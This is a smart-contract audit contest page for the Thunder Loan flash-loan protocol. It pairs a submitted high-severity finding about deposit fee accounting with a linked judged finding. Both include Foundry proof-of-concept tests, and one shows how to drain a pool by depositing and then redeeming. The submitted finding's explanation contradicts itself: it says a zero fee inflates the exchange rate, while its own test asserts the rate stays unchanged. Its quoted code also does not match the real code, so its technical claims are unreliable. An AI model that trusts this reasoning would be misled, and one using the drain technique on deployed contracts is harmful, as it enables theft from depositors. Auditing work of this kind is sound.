Thunder Loan
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Submission Details
Severity: high
Valid

Phantom Fee Accounting in Deposit Inflates Exchange Rate Causing Pool Insolvency

farhandavin14

Phantom Fee Accounting in Deposit Inflates Exchange Rate Causing Pool Insolvency

Description

  • When liquidity providers deposit funds, ThunderLoan::deposit() calls AssetToken::updateExchangeRate(fee) to credit accrued flash loan fees to the exchange rate, rewarding previous depositors.

  • deposit() passes its own uninitialized local memory variable fee into updateExchangeRate(fee). Because fee is never assigned, it defaults to 0. Passing 0 recalculates the exchange rate with stale balances, causing artificial exchange rate inflation and eventual pool insolvency upon redemption.

// ThunderLoan.sol: deposit() passes unassigned local variable
function deposit(IERC20 token, uint256 amount) external {
...
@> uint256 fee; // Always 0!
@> assetToken.updateExchangeRate(fee); // Stale exchange rate update
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Risk

Likelihood:

  • Occurs on every call to ThunderLoan::deposit().

  • Guaranteed execution condition on every deposit interaction across all pools.

Impact:

  • Liquidity providers receive distorted exchange rates, leading to unfair share allocation.

  • Pool liabilities exceed underlying asset reserves, resulting in liquidity depletion and insolvency.

Proof of Concept

The exploit operates through the following steps:

  1. Initial liquidity providers deposit tokens at the base exchange rate (1e18).

  2. Real flash loan fees accumulate in the AssetToken vault.

  3. A new depositor calls deposit(), triggering updateExchangeRate(0) before new tokens arrive.

  4. Stale accounting prevents proper yield distribution and causes pool insolvency during full redemptions.

function test_phantomFeeDepositAccounting() public setAllowedToken hasDeposits {
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
uint256 rateBefore = assetToken.getExchangeRate();
​
vm.startPrank(user);
tokenA.mint(user, 10e18);
tokenA.approve(address(thunderLoan), 10e18);
thunderLoan.deposit(tokenA, 10e18);
vm.stopPrank();
​
uint256 rateAfter = assetToken.getExchangeRate();
assertEq(rateAfter, rateBefore, "Exchange rate did not update properly due to phantom 0 fee");
}

Recommended Mitigation

Remove the unused fee variable from deposit() and update updateExchangeRate() to compute the exchange rate directly from the actual token balance and total share supply.

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
...
- uint256 fee;
- assetToken.updateExchangeRate(fee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
+ assetToken.updateExchangeRate();
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

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